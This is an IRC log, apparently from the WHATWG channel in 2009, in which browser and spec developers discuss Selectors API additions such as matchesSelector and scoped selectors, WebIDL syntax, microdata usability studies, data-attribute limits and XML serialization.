it does seem fairly trivial to define at first glance, since it can just be defined similarly to qSA

[16:51:02.0000] <weinig>
/me nods

[16:51:03.0000] <Lachy>
/me will spec it tomorrow

[16:52:00.0000] <weinig>
sweet!

[16:53:00.0000] <Lachy>
after this, I want to prioritise the scoped selector APIs, and handle both the ":scope>p" and the ones with the implied scope like ">em, >strong"

[16:56:00.0000] <zcorpan>
/me notes that Hixie has got  the order wrong for "in" and "optional" in idl in web workers

[16:56:01.0000] <Hixie>
wonderful

[16:57:00.0000] <Hixie>
is it "optional in"?

[16:57:01.0000] <zcorpan>
in html5, too

[16:57:02.0000] <Hixie>
or "in optional"?

[16:57:03.0000] <zcorpan>
"in optional"

[16:57:04.0000] <zcorpan>
though "in" is optional!

[16:58:00.0000] <Hixie>
fixed

[16:58:01.0000] <zcorpan>
cool

[16:58:02.0000] <Lachy>
does anyone understand how Node.compareDocumentPosition() is supposed to work? DOM 3 Core is very badly defined. It's not at all clear how the return value is calculated

[16:59:00.0000] <Lachy>
and Firefox's implementation seems to be returning rather strange numbers that don't seem to mean anything obvious


2009-09-25
[17:00:00.0000] <zcorpan>
Lachy: if you figure out how it should work, archive notes so that it can be specced in web dom core 

[17:03:00.0000] <zcorpan>
why is http://html5.org/tools/web-workers-tracker empty?

[17:03:01.0000] <Lachy>
I wasn't planning on reverse engineering it. Was just curious as it was mentioned on public-webapps as a way to sort nodes in an array

[17:03:02.0000] <Lachy>
and I never knew the method existed before

[17:04:00.0000] <Hixie>
zcorpan: i may have broken it when i migrated everything to html5's source document

[17:04:01.0000] <Hixie>
though i thought i had kept enough of a shim to keep things working

[17:04:02.0000] <Hixie>
(i still check everything into the workers svn repo, i think)

[17:05:00.0000] <zcorpan>
Hixie: oh i thought it was a separate source document

[17:05:01.0000] <Hixie>
it was

[17:05:02.0000] <Hixie>
but i merged it in when i was splitting everything out

[17:05:03.0000] <Hixie>
to make my life easier

[17:05:04.0000] <Hixie>
but the original source document should still be being generated

[17:06:00.0000] <Hixie>
so i don't see why it wouldn't still work

[17:13:00.0000] <zcorpan>
so Worker.onerror can receive two kinds of events: an Event when fetching the worker script fails, and an ErrorEvent when a runtime script error is not handled by the WorkerGlobalScope's onerror

[17:23:00.0000] <zcorpan>
r4000 next

[17:25:00.0000] <zcorpan>
that'll make mpilgrim happy

[17:28:00.0000] <Hixie>
study 2 begins!

[17:30:00.0000] <Lachy>
Hixie, what does the [Supplemental] extended attribute you're using in the IDL mean? It's not yet defined in webidl, and it seems redundant with the implements statement

[17:31:00.0000] <Hixie>
interface A { a }    [Supplmental] interface B { b } A implements B;   means the same as    interface A { a b }

[17:31:01.0000] <Hixie>
whereas

[17:32:00.0000] <Hixie>
interface A { a }    interface B { b } A implements B;   results in two interface objects

[17:32:01.0000] <Lachy>
isn't that what the [NoInterfaceObject] one deals with?

[17:33:00.0000] <Hixie>
no NoInterfaceObject only means that the interface object doesn't exist

[17:33:01.0000] <Hixie>
with   interface A { a }    [NoInterfaceObject] interface B { b } A implements B;   A.b doesn't exist

[17:37:00.0000] <zcorpan>
Hixie: i thought [Supplemental] was supposed to be used as A { a } [Supplemental] interface A { b }

[17:37:01.0000] <Lachy>
oh, right. That sort of makes sense, though [Supplements] doesn't really seem intuitive

[17:38:00.0000] <Hixie>
zcorpan: yeah that is also a way to do it

[17:38:01.0000] <Hixie>
there are three ways [Supplemental] works

[17:39:00.0000] <Hixie>
inheritance, the same interface name twice, and 'implements'

[17:39:01.0000] <Hixie>
depending on exactly what you want

[17:39:02.0000] <Lachy>
I suppose I should update Selectors API to use [Supplemental] for NodeSelector, and change the old [ImplementedOn] attributes to implements statements

[17:41:00.0000] <Lachy>
does that mean to define matchesSelector on the Element interface, i can write it like this:

[17:41:01.0000] <Lachy>
[Supplemental]

[17:41:02.0000] <Lachy>
Interface Element {

[17:41:03.0000] <Lachy>
  boolean matchesSelector(in DOMString selectors);

[17:41:04.0000] <Lachy>
};

[17:43:00.0000] <Hixie>
yeah

[17:45:00.0000] <Lachy>
sweet. That means I don't need to make up a silly interface name like ElementMatchesSelector just for this

[17:45:01.0000] <Hixie>
man, both studies so far indicate 'about' is a terrible property name to use for giving an item an ID

[17:46:00.0000] <Lachy>
in RDFa?

[17:46:01.0000] <zcorpan>
oooh, an authoring tool for canvas: http://www.webmonkey.com/blog/Turn_Your_Vector_Art_Into_Canvas-based_Animations_With_Opacity

[17:47:00.0000] <Lachy>
Isn't that used to reference a element with an IDREF, indicating which element the metadata is describing?

[17:47:01.0000] <Hixie>
Lachy: in microdata

[17:47:02.0000] <Hixie>
it's used to give the item a URL, equivalent to about="" from RDFa

[17:47:03.0000] <Lachy>
didn't know microdata had an about attribute. Did that get added recently?

[17:47:04.0000] <zcorpan>
not a free authoring tool, though, but then again i guess authoring tools for flash aren't free, either (or are they?)

[17:47:05.0000] <Hixie>
not an attribute

[17:47:06.0000] <Hixie>
itemprop=about 

[17:48:00.0000] <Lachy>
oh

[17:48:01.0000] <Hixie>
also, both studies so far indicate that authors really have no problem with itemprop="" containing full URLs

[17:48:02.0000] <Hixie>
they just sail right by that without issue

[17:50:00.0000] <zcorpan>
what will 'about' be replaced with?

[17:50:01.0000] <Hixie>
guha suggested "itemid"

[17:50:02.0000] <Hixie>
but i dunno, not making decisions in the usability lab :-)

[17:52:00.0000] <zcorpan>
of course you are, but you don't admit it. you'll post the study results to the list, and after much discussion, you'll stick 'itemid' into the spec, citing the fact that there's no consensus anyway

[17:53:00.0000] <Philip`>
r4000 was an anti-climax :-(

[17:59:00.0000] <Hixie>
zcorpan: well it's highly likely that we'll use itemid, but i don't want to think about it right now

[17:59:01.0000] <Hixie>
zcorpan: there are other changes we'll have to make where i really don't yet know what we'll do

[18:09:00.0000] <zcorpan>
Hixie: yeah, i was j/k

[18:10:00.0000] <zcorpan>
"Personally I lean towards the second of these" - http://www.jenitennison.com/blog/node/129

[18:10:01.0000] <zcorpan>
(which is "leave the creation of that DOM as implementation-defined")

[18:23:00.0000] <Lachy>
I have matchesSelector() essentially defined now. All it took was the IDL and one line that says:

[18:23:01.0000] <Lachy>
The matchesSelector()  method on the Element  interface must, when invoked, return true if the _context node_ is a _matching Element node_. Otherwise, the method must return false. 

[18:23:02.0000] <Lachy>
And then a little bit of shuffling other things around in the spec to reuse what was already specified.

[18:47:00.0000] <Hixie>
so far no real confusion over types, despite the conversations we were having here

[18:47:01.0000] <Hixie>
four more studies tomorrow

[18:48:00.0000] <Hixie>
we're gonna try a couple with 'about' renamed to 'itemid'

[18:50:00.0000] <Lachy>
weinig, JohnResig http://dev.w3.org/2006/webapi/selectors-api2/#matchtesting

[18:51:00.0000] <othermaciej>
should we take the webkit prefix off of our impl?

[18:54:00.0000] <Lachy>
othermaciej, assuming this API is accepted by the group as-is, then yes, webkit's implementation is effectively fully conforming, aside from the known no-value bugs

[18:57:00.0000] <othermaciej>
guess we should wait a little bit to see if anyone objects to the API

[19:08:00.0000] <Lachy>
othermaciej, what are your thoughts on the idea of introducing a Selector object that can be used for handling the scoped selector use cases, allowing the .createSelector() factory method to handle the selector pre-processing?

[19:09:00.0000] <othermaciej>
Lachy: I'm not totally clear on what you are suggesting

[19:09:01.0000] <othermaciej>
can you give me an example?

[19:09:02.0000] <Lachy>
I'm thinking it might be better than introducing a whole bunch of new queryScopedSelector*() and matchesScopedSelector() interaces.

[19:09:03.0000] <Lachy>
sure, here's an example:

[19:09:04.0000] <Lachy>
wait, there's one in my mail in pubilc-webapps. I'll get the link

[19:10:00.0000] <Lachy>
http://lists.w3.org/Archives/Public/public-webapps/2009JulSep/1239.html

[19:10:01.0000] <Lachy>
see from "Interface DocumentSelector" in that mail

[19:12:00.0000] <othermaciej>
hmmm

[19:12:01.0000] <othermaciej>
if impliedScope is an optional extra parameter to createSelector, why can't it just be an optional extra parameter to querySelector*() and matchSelector()?

[19:12:02.0000] <othermaciej>
it seems like that would be a more streamlined API

[19:12:03.0000] <sicking>
Lachy: i think introducing a selector object is a good idea if we want to reduce compile times

[19:13:00.0000] <othermaciej>
the main advantage of Selector is if we expect someone will want to test against the same selector repeatedly, and time spent parsing the selector may be a significant part of the total cost

[19:13:01.0000] <sicking>
Lachy: but IMHO we should make the API such that functions, like querySelectorAll, accept either a string or a selector object

[19:13:02.0000] <Lachy>
having the createSelector method gives JS libraries an easy way to test for browser support

[19:13:03.0000] <Lachy>
sicking, yes, that was the idea

[19:13:04.0000] <othermaciej>
test for browser support of scoped selectors?

[19:13:05.0000] <othermaciej>
I guess that's true

[19:13:06.0000] <Lachy>
yes

[19:13:07.0000] <othermaciej>
but it's still needlessly awkward for simple cases

[19:14:00.0000] <othermaciej>
IMO

[19:14:01.0000] <sicking>
indeed, i think it should be possible to pass a string everywhere you can pass a selector object

[19:14:02.0000] <Lachy>
it might also give us a way to handle the namespace issue using the Selector object, if it can be set up with namespace resolution somehow

[19:14:03.0000] <othermaciej>
why should you have to say scopeElt.querySelector(Selector.createSelector("foo", scopeElt, true))

[19:15:00.0000] <sicking>
Lachy: that's not a bad idea

[19:15:01.0000] <othermaciej>
instead of scopeElt.querySelector("foo", true)

[19:15:02.0000] <othermaciej>
(actually the scope element probably should not be part of the selector by default)

[19:15:03.0000] <Lachy>
actually, you would need to do document.querySelectorAll(document.createSelector("foo", scopeElt, true)); to give the same result as JS libraries

[19:16:00.0000] <sicking>
what's the 'true' argument?

[19:16:01.0000] <othermaciej>
I see

[19:16:02.0000] <othermaciej>
the "true" argument means make every selector of the selector group implicitly start with :scope

[19:16:03.0000] <sicking>
ah

[19:16:04.0000] <Lachy>
sicking, it determines if the browser should imply :scope automatically or not

[19:16:05.0000] <othermaciej>
but point being, I think you should be able to omit document.createSelector and the extra parens

[19:16:06.0000] <othermaciej>
even if we also have a Selector object

[19:17:00.0000] <sicking>
hmm.. i don't feel strongly regarding if scoped selectors can be done as both string and a object

[19:17:01.0000] <othermaciej>
because the Selector object is needless code noise unless you plan to reuse the selector

[19:17:02.0000] <Lachy>
fair enough

[19:17:03.0000] <sicking>
creating scoped selectors is mostly useful for libraries anyway

[19:17:04.0000] <weinig>
JohnResig: I had to make two changes to your test

[19:17:05.0000] <Lachy>
then I suppose we could do this:

[19:18:00.0000] <othermaciej>
it could also be useful for programmers who are used to the libraries but would like to code to the native API

[19:18:01.0000] <sicking>
othermaciej: it's really simple to add ":scope" to the beginning of your string

[19:18:02.0000] <weinig>
root.webkitMatchesSelector(null)  === null -> root.webkitMatchesSelector(null) === false

[19:18:03.0000] <weinig>
root.webkitMatchesSelector(undefined)  === null -> root.webkitMatchesSelector(undefined) === false

[19:19:00.0000] <Lachy>
NodeSelector.querySelectorAll(">em", true, scopeElement) (where scopeElement is optional and defaults to the Element it's being executed on)

[19:19:01.0000] <sicking>
/me wish we didn't bother with defining behavior for null and undefined until we've all agreed for a default behavior for the rest of the DOM

[19:19:02.0000] <othermaciej>
sicking: it is, but if we export an API to do it automatically for convenience, then it may as well be easy to use that API

[19:20:00.0000] <Lachy>
sicking, we ended up removing the null and undefined definitions from selectors API. it's now left entirely up to web idl

[19:20:01.0000] <sicking>
othermaciej: you mean to scope automatically for conveience

[19:20:02.0000] <sicking>
Lachy: i know, but resigs test suites still test it

[19:21:00.0000] <sicking>
i guess what I propose is this:

[19:21:01.0000] <Lachy>
should we remove it from the test suite for this version the level 1 API?

[19:21:02.0000] <sicking>
Lachy: imho yes

[19:22:00.0000] <othermaciej>
sicking: yes

[19:23:00.0000] <Lachy>
sicking, it's not as simple as just prefixing :scope to the beginning of the string. It requires at least basic selector parsing to do it right, cause it's a group of selectors.

[19:23:01.0000] <sicking>
here's what i propose: allow querySelector/querySelectorAll/matchesSelector to take a string (in which case they don't do any automatic scoping), or a Selector object. Create two functions for creating selector objects: createSelector and createScopedSelector. The latter adds an implicit ":scope" before each selector

[19:24:00.0000] <sicking>
Lachy: when you're typing a string, as a human, it's easy to add ":scope" as needed

[19:25:00.0000] <othermaciej>
yeah but if someone is used to writing ">em, >i, >span.fancy" then it seems gratuitous to make them either write ":scope>em, :scope>i, :scope>span.fancy" or construct a Selector object

[19:25:01.0000] <Lachy>
for compat with JS libraries and existing content, and to allow JS libraries to reduce their dependence on custom selector parsing, the API should ideally handle cases like this ">em, >strong" easily.

[19:25:02.0000] <othermaciej>
Boris made a pretty good case that the performance argument for selector objects is dubious

[19:26:00.0000] <sicking>
Lachy: why "easily" if we're talking about libraries, it's not a big burden to ask them to create an object IMHO

[19:27:00.0000] <Lachy>
yeah, I don't think I would do the Selector object for perf reasons. It would have to be based on what's best for authors and JS libraries to use, and what's implementable

[19:27:01.0000] <sicking>
othermaciej: the alternative i guess is to add extra optinal parameters to all of querySelectorAll/querySelector/matchesSelector. Or create sibling functions: querySelectorAllScoped/querySelectorScoped/matchesSelectorScoped

[19:28:00.0000] <Lachy>
creating additional methods gets messy, especially if we want to address the namespace issue with additional NS methods too.

[19:28:01.0000] <sicking>
agreed

[19:28:02.0000] <Lachy>
I really don't want to have to end up with queryScopedSelectorAllNS(), et al.

[19:29:00.0000] <josespinal>
what are the limitations of html5's data attributes?

[19:29:01.0000] <sicking>
but so does optional arguments if we want optional arguments to handle namespaced stuff too

[19:29:02.0000] <sicking>
josespinal: sky's the limit :)

[19:29:03.0000] <Lachy>
I know. That's why I was thinking the Selector object would be nice, since it handles it all in once place

[19:30:00.0000] <josespinal>
sicking, heh no limitation?

[19:30:01.0000] <othermaciej>
additional methods are good for feature testing compared to optional arguments, but bad for potential API explosion

[19:30:02.0000] <sicking>
josespinal: well, your users RAM

[19:30:03.0000] <sicking>
othermaciej: yup

[19:30:04.0000] <othermaciej>
including namespace mappings in a Selector object would be somewhat icky, since technically they are not part of the selector, they are part of the evaluation context

[19:30:05.0000] <josespinal>
aja

[19:30:06.0000] <josespinal>
!

[19:31:00.0000] <Lachy>
good point.

[19:31:01.0000] <sicking>
othermaciej: no, they're part of parsing

[19:31:02.0000] <josespinal>
sicking: when getting the attributes' values with JS?

[19:31:03.0000] <sicking>
othermaciej: that's how XPath does it too

[19:31:04.0000] <Lachy>
hmm.

[19:32:00.0000] <othermaciej>
sicking: I guess you could think of it that way

[19:32:01.0000] <Lachy>
yeah, it does. I looked at the XPath stuff today. That's where I got the idea for the Selector object

[19:32:02.0000] <othermaciej>
anyway, I'm not categorically against an object, I just get suspicious of needlessly verbose APIs

[19:33:00.0000] <sicking>
i agree, i'm just not sure what a good other solution would be

[19:33:01.0000] <josespinal>
?

[19:33:02.0000] <Lachy>
I guess all we're doing is trading one type of needless verbosity with additional NS methods, with another with slightly messier syntax

[19:33:03.0000] <sicking>
i do would like to let the most common cases (source-wise) to not have to use objects

[19:33:04.0000] <othermaciej>
it reminds me of my discussion with hsivonen recently about whether it would be more fun to write (new XMLSerializer("application/xml")).serializeToString(myElt), or myElt.xmlMarkup

[19:34:00.0000] <sicking>
josespinal: not sure i understand your question. The answer about RAM was mostly a joke

[19:34:01.0000] <sicking>
josespinal: basically there's no defined limit as far as names or values goes

[19:34:02.0000] <josespinal>
oh ok, dumb me

[19:34:03.0000] <josespinal>
ok

[19:34:04.0000] <josespinal>
thanks

[19:35:00.0000] <sicking>
josespinal: but i wouldn't try to do ridiculous things, like creating names that are hundreds of kB big

[19:35:01.0000] <sicking>
josespinal: or create thousands of attributes on the same element

[19:35:02.0000] <sicking>
josespinal: or stick GB of data into an attribute

[19:35:03.0000] <josespinal>
lol

[19:35:04.0000] <sicking>
in most those cases you're likely to run into implementation behavior

[19:35:05.0000] <josespinal>
got that

[19:36:00.0000] <sicking>
i think gecko has a pretty low limit on number of allowed attributes on a single element

[19:36:01.0000] <josespinal>
8 attributes would be too much i think

[19:36:02.0000] <josespinal>
:P

[19:36:03.0000] <sicking>
yeah, we don't allow more than 1024 attributes

[19:37:00.0000] <sicking>
but i've never heard of anyone butting up against that. Though maybe things will change now with data attributes

[19:38:00.0000] <josespinal>
change how?

[19:39:00.0000] <sicking>
people might use more attributes and start running into the 1024 limit

[19:39:01.0000] <othermaciej>
I wonder what WebKit's limit is

[19:39:02.0000] <othermaciej>
I don't think there is any limit when using the DOM APIs but there might be one at parse time

[19:40:00.0000] <sicking>
we limit it at 1024 because we store the attribute count and child count in the same 32bit bitfield

[19:41:00.0000] <sicking>
so we use 10 bits for attr-count and 32 bits for child-count

[19:41:01.0000] <sicking>
err.. 22bits for child count

[19:43:00.0000] <josespinal>
interesting

[19:43:01.0000] <sicking>
hopefully the world has switched to 64bit before <input> elements get 1024 defined attributes :)

[19:43:02.0000] <sicking>
so far it seems like a tight race

[19:43:03.0000] <josespinal>
lol

[19:43:04.0000] <josespinal>
lets hope so

[19:45:00.0000] <josespinal>
/me has to run

[19:45:01.0000] <josespinal>
thanks for everything sicking 

[19:45:02.0000] <sirdarckcat>
regarding CSS attribute reader from: http://krijnhoetmer.nl/irc-logs/whatwg/20090924#l-993

[19:45:03.0000] <sirdarckcat>
=> <annevk2> you cannot do much more than you can do already with JavaScript afaict 

[19:45:04.0000] <sirdarckcat>
thats true, but XSS filters only protect against javascript, not CSS

[22:45:00.0000] <othermaciej>
Hixie: GMail is an example of a Web app that uses paste events (uses "paste" and "beforepaste" in rich text composition mode)

[22:46:00.0000] <othermaciej>
Hixie: likewise Google Docs (beforepaste, paste and copy)

[22:48:00.0000] <othermaciej>
Hixie: also Google Search

[22:50:00.0000] <othermaciej>
Hixie: also Yahoo Mail

[22:58:00.0000] <othermaciej>
Hixie: also YouTube (for some reason)

[23:07:00.0000] <othermaciej>
Hixie: also the wiki server software that ships with Mac OS X 

[23:19:00.0000] <ezyang>
Does anyone remember the URL of that history viewer for the HTML5 spec? 

[23:19:01.0000] <ezyang>
aha http://html5.org/tools/web-apps-tracker 

[23:25:00.0000] <ezyang>
In the new "have an element in specific scope algorithm", what does "If node is the target node, terminate in a match state." mean? 

[23:25:01.0000] <ezyang>
target node doesn't seem to refer to anything... 

[01:40:00.0000] <Philip`>
othermaciej: Microsoft has actually posted to the WHATWG (http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2008-February/014026.html) so I assume there's not a strict policy of staying away from it entirely

[02:02:00.0000] <othermaciej>
Philip`: hmmm, other MS folks (e.g. Chris Wilson) have said otherwise, at least as to reading the list, but perhaps the policy changed

[02:03:00.0000] <othermaciej>
Philip`: regardless, it's probably easier to get Microsoft input by posting to W3C lists

[02:07:00.0000] <annevk2>
hmm, my inbox is full of ECMA

[02:11:00.0000] <Rik`>
http://groups.google.com/group/base2-js/browse_thread/thread/37acf844ceeb181c html5lib by dean edwards

[02:16:00.0000] <annevk2>
sweet

[02:16:01.0000] <annevk2>
I wonder why that one guy finds IDLs hard to read

[02:16:02.0000] <annevk2>
/me finds them quite convenient

[02:17:00.0000] <annevk2>
/me learned how the DOM was put together by reading IDL blocks

[02:20:00.0000] <annevk2>
also nice, Sec-From is gone

[02:33:00.0000] <jgraham>
That dean edwards thing assumes <legend> in <details>

[02:34:00.0000] <jgraham>
Also, unrelatedly, having selector objects for caching seems unnecessary; if parsing selectors is a significant performance problem the UA should cache them automatically

[02:34:01.0000] <jgraham>
/me would prefer a selector-object free design in general

[02:35:00.0000] <annevk2>
I really wonder why we need to make it so complicated

[02:35:01.0000] <jgraham>
Indeed

[02:35:02.0000] <annevk2>
Though if we do we should really nuke DOM Traversal out of orbit

[02:36:00.0000] <Philip`>
Hmm, apparently it's extra impossible to implement RDFa in XSLT, because xmlns:xml="http://whateveritis" attributes are treated precisely identically to there being no such attribute, so you can't tell whether the prefix has been explicitly bound or not

[02:37:00.0000] <annevk2>
doesn't rebinding xml give you a nice violation of namespace well-formedness?

[02:38:00.0000] <jgraham>
Philip`: Is it just xmlns:xml that doesn't work or xmlns:foo in general?

[02:38:01.0000] <Philip`>
jgraham: Won't there be issues with parsing being based on namespace mapping functions, so your cache would have to detect when it's passed a different function since the parse results would change?

[02:39:00.0000] <jgraham>
Philip`: I don't know what the plan is for namespaces

[02:39:01.0000] <Philip`>
annevk2: "The prefix xml is by definition bound to the namespace name http://www.w3.org/XML/1998/namespace. It MAY, but need not, be declared, and MUST NOT be bound to any other namespace name."

[02:40:00.0000] <Philip`>
so it's okay as long as you use the correct value

[02:40:01.0000] <jgraham>
Philip`: But it isn't obviously impossible to make the design cacheable

[02:41:00.0000] <Philip`>
jgraham: Just xmlns:xml I think - a complete implementation should allow access to namespace mappings, so xmlns:foo is okay, and the problem is just that xml is in the mapping regardless of whether it's declared

[02:42:00.0000] <annevk2>
Philip`, ah ok

[02:42:01.0000] <Philip`>
(though apparently Firefox's XSLT implementation doesn't let you access xmlns:foo at all)

[02:42:02.0000] <jgraham>
/me wonders if that is a problem for other tree libs e.g. lxml

[02:42:03.0000] <jgraham>
or XOM or whatever

[02:42:04.0000] <Philip`>
jgraham: Indeed - automatic caching seems to make much more sense, in terms of shifting complexity from users to implementors

[02:46:00.0000] <Philip`>
(Also, implementors could optimise their parsers)

[03:48:00.0000] <jgraham>
/me wonders how an operating system and browser implemented in pure ecmascript would work

[03:49:00.0000] <jgraham>
Since there is no way to access the hardware or anything

[03:50:00.0000] <annevk2>
yeah ...

[03:50:01.0000] <annevk2>
I just replied

[04:08:00.0000] <othermaciej>
jgraham: even taking that assumption as a given, the further conclusions don't make sense, so I decided not to argue with it

[04:09:00.0000] <othermaciej>
jgraham: but it does seem so hypothetical that it's not a very strong argument against API convenience

[04:10:00.0000] <hsivonen>
othermaciej: I noticed you had mentioned XMLSerializer in the logs

[04:11:00.0000] <othermaciej>
hsivonen: in reference to our old discussion, yeah

[04:11:01.0000] <othermaciej>
it was incidental to the topic (which was Selectors API enhancements)

[04:11:02.0000] <hsivonen>
othermaciej: considering possible new information since we last discussed it, what's your take on changing WebKit to serialize HTML DOMs as XML if the MySpace problem were evangelized away?

[04:12:00.0000] <othermaciej>
I think the fact that WebKit serializes HTML DOMs as HTML was totally an accident

[04:12:01.0000] <othermaciej>
and I'm surprised and alarmed that sites ever came to depend on it

[04:12:02.0000] <hsivonen>
othermaciej: do you consider it a fixable accident?

[04:13:00.0000] <othermaciej>
if MySpace is the only significant breakage, and if it can be fixed, then yes I think it is fixable

[04:13:01.0000] <othermaciej>
our intent was to emulate the Gecko API

[04:13:02.0000] <hsivonen>
othermaciej: OK. thanks.

[04:14:00.0000] <hsivonen>
annevk2: given what othermaciej said, can you speculate on whether Opera would align with the Gecko trunk behavior?

[04:15:00.0000] <hsivonen>
othermaciej: Is the failure to emulate Gecko when it comes to non-void but empty http://www.w3.org/1999/xhtml elements on the XML side deliberate, though?

[04:15:01.0000] <hsivonen>
I.e. WebKit does <div></div> rather than <div/>

[04:15:02.0000] <othermaciej>
ah

[04:16:00.0000] <othermaciej>
when serializing XML elements in the HTML namespace, we attempt to produce HTML-compatible XML, in all our paths for producing XML

[04:16:01.0000] <othermaciej>
if that created compatibility issues in specific contexts, we could change it

[04:16:02.0000] <hsivonen>
Yeah, I thought that was deliberate.

[04:17:00.0000] <othermaciej>
well, we didn't make a conscious choice to apply it to XMLSerializer specifically

[04:17:01.0000] <hsivonen>
so would the agreeable convergence target be taking the WebKit XML-side behavior and making it standard on both HTML and XML trees?

[04:17:02.0000] <othermaciej>
we decided to do that based on other contexts that serialize to XML (possibly even native APIs) and decided to do it everywhere

[04:17:03.0000] <hsivonen>
(so the delta to Gecko trunk would be turning <div/> into <div></div>)

[04:18:00.0000] <othermaciej>
I think that would make sense, if MySpace can be fixed

[04:18:01.0000] <hsivonen>
Great!

[04:18:02.0000] <hsivonen>
any views from anyone from Opera?

[04:18:03.0000] <othermaciej>
also for void elements we put the gratuitous space before the slash

[04:18:04.0000] <annevk2>
hsivonen, I'm fine with aligning

[04:18:05.0000] <othermaciej>
<br />

[04:19:00.0000] <annevk2>
hsivonen, will you write a spec? :)

[04:19:01.0000] <hsivonen>
annevk2: which alignment? :-)

[04:19:02.0000] <annevk2>
hsivonen, with the spec :p

[04:20:00.0000] <annevk2>
hsivonen, I don't think we care much either way, as long as sites work, so Gecko trunk + MySpace fix would work

[04:20:01.0000] <hsivonen>
annevk2: I commit to writing a spec on the spot here without approval from Mozilla, but I've worked under the assumption that morally I'm on the hook for writing a spec some day

[04:20:02.0000] <hsivonen>
I *can't* commit

[04:21:00.0000] <hsivonen>
one negation makes such a difference in sentences :-(

[04:21:01.0000] <hsivonen>
annevk2: OK. thanks.

[05:27:00.0000] <annevk2>
/me wonders if it's worth fighting the deprecation of text/xml in http://tools.ietf.org/html/draft-murata-kohn-lilley-xml and the continued bullshit of the charset defaulting to us-ascii in text/xml (is there a consumer out there other than mpilgrim_'s feedparser that implements that?)

[05:31:00.0000] <hsivonen>
annevk2: Validator.nu!

[05:32:00.0000] <hsivonen>
annevk2: and I have a checkbox in the UI that amounts to "[x] Violate RFC 3023"

[05:32:01.0000] <hsivonen>
and I haven't even gotten the t-shirt! :-(

[05:34:00.0000] <hsivonen>
annevk2: the way the IETF is dealing with the text/* default brokenness is really, really sad

[05:34:01.0000] <hsivonen>
big cultural difference compared to how the WHATWG does things

[05:35:00.0000] <hsivonen>
/me wonders if there's an experimental sociologist taking notes and at least getting a PhD. out of this

[05:46:00.0000] <annevk2>
hsivonen, agreed

[05:48:00.0000] <annevk2>
hsivonen, not sure whether to like or dislike the Validator.nu compliance :)

[05:48:01.0000] <annevk2>
hsivonen, I guess it's a fun easter egg

[06:00:00.0000] <gsnedders>
annevk2: SimplePie supports it with US-ASCII with fallback in a similar way to Universal Feed Parser

[06:02:00.0000] <hsivonen>
gsnedders: how does that mean it supports it if falls back onto a superset of ASCII?

[06:02:01.0000] <gsnedders>
hsivonen: Basically yeah.

[06:02:02.0000] <hsivonen>
gsnedders: does it throw a bozo exception in addition to falling back?

[06:03:00.0000] <gsnedders>
hsivonen: I had an impl of that, but removed that, and just haven't removed the encoding magic yet.

[06:04:00.0000] <jgraham>
gsnedders: BTW bibbi told me to tell you not to panic. I don't know if someone told her to tell me to tell you that or not

[06:04:01.0000] <gsnedders>
jgraham: She emailed me last night

[06:05:00.0000] <gsnedders>
jgraham: She may have got you to tell me because I'm not reading email much this month :)

[06:05:01.0000] <jgraham>
Yes, she said that too. Did it have the words Don't Panic enblazoned in large friendly letters at the top

[06:05:02.0000] <gsnedders>
No, nor on the back.

[06:05:03.0000] <jgraham>
?

[06:06:00.0000] <gsnedders>
Well, it was on the back originally, though I don't know how you can have it on the back of an email…

[06:06:01.0000] <gsnedders>
Anyhow, I'm off (to prove I don't read email)

[06:06:02.0000] <jgraham>
Well maybe that's why she told me to tell you not to panic. It may even be why someone told her to tell me to tell you not to panic. But we don't know

[06:09:00.0000] <jgraham>
/me can't find any evidence that Don't Panic was written on the back as opposed to the front

[06:12:00.0000] <annevk2>
it's on the top of my laptops

[06:12:01.0000] <Lachy>
gsnedders, Don't Panic was always on the front, at least in the original radio series

[06:17:00.0000] <jgraham>
/me only remembers "on the cover" which was also all that a quick Google search turned up

[06:17:01.0000] <jgraham>
But on the fornt makes much more sense

[06:17:02.0000] <jgraham>
*front

[06:23:00.0000] <hsivonen>
/me didn't know that the "languages" side bar on wikipedia supports one-to-many mappings

[06:23:01.0000] <hsivonen>
for a moment there I thought I had broken the parser

[06:58:00.0000] <Philip`>
Aren't workers likely to import standalone script libraries, which might also be imported by non-worker scripts on the same site, and which might use non-ASCII characters?

[06:59:00.0000] <Philip`>
The worker scripts themselves are likely to be new, but they'll use bits and pieces of old library code

[07:03:00.0000] <Philip`>
Hah

[07:03:01.0000] <Philip`>
If I apply http://www.rddl.org/rddl2rdf.xsl to http://www.w3.org/XML/1998/namespace then the output is not namespace-well-formed XML

[07:03:02.0000] <Philip`>
Hooray for namespaces!

[07:04:00.0000] <murr5y>
\o/

[07:21:00.0000] <Lachy>
My first attempt at supporting scoped selectors in Selectors API has been checked in. http://dev.w3.org/2006/webapi/selectors-api2/#the-apis

[07:24:00.0000] <karlushi>
http://arstechnica.com/staff/fatbits/2009/09/metadata-madness.ars  - This article about file type on macosx reminds me about mimetypes issues.

[07:25:00.0000] <Rik|work>
karlushi: ping, you got mail :)

[07:28:00.0000] <karlushi>
Rik about parisweb? Seen it yesterday evening but was too tired to really think about it. :) I'll reply tonight.

[07:31:00.0000] <annevk2>
data URLs are same origin...

[07:31:01.0000] <annevk2>
most of the time, anyway

[07:36:00.0000] <jgraham>
It seems like a worker can use a cross-origin script with the cooperation of the page anyway

[07:37:00.0000] <jgraham>
<script type="text/x-worker" src="http://thirdparty.example"></script> and then .toString() the script and postMessage it to the worker which can eval it

[07:40:00.0000] <TabAtkins>
Sure, but it's always possible to shoot yourself in the foot.

[07:41:00.0000] <TabAtkins>
You could do the same by having a helper page make a cross-origin (non-JS) request for the script, and have the worker XHR and eval it.

[07:43:00.0000] <jgraham>
TabAtkins: I'm not advocating cross-domain workers at all but it's not obvious why this is shooting yourself in the foot

[07:43:01.0000] <TabAtkins>
Just in the general sense that allowing a script on a domain you don't control to run in your security context is potentially bad.

[07:44:00.0000] <jgraham>
Well yes, but the whole web is based on that working

[07:45:00.0000] <jgraham>
At least the part of the web that relies on advertising

[07:46:00.0000] <TabAtkins>
Yeah, and that sorta sucks.  >_<

[07:47:00.0000] <TabAtkins>
But anyway, I doubt that advertising will be using Workers, so might as well keep it difficult to do this sort of thing.

[07:48:00.0000] <jgraham>
You don't envison adverts that compute the first million digits of pi in the background?

[07:49:00.0000] <miketaylr>
Buy viagra....π

[07:50:00.0000] <TabAtkins>
Hehe.

[07:57:00.0000] <TabAtkins>
Grah, I hate having our store hosted by someone else.  It makes editting so difficult, especially when I don't actually have a login for them, and the dude I'm supposed to be sharing with (who has appropriate permissions for me to edit the store code) isn't in yet.

[07:57:01.0000] <hsivonen>
w00t! wikipedia got made HTML5 without the space the authoritative page

[07:58:00.0000] <annevk2>
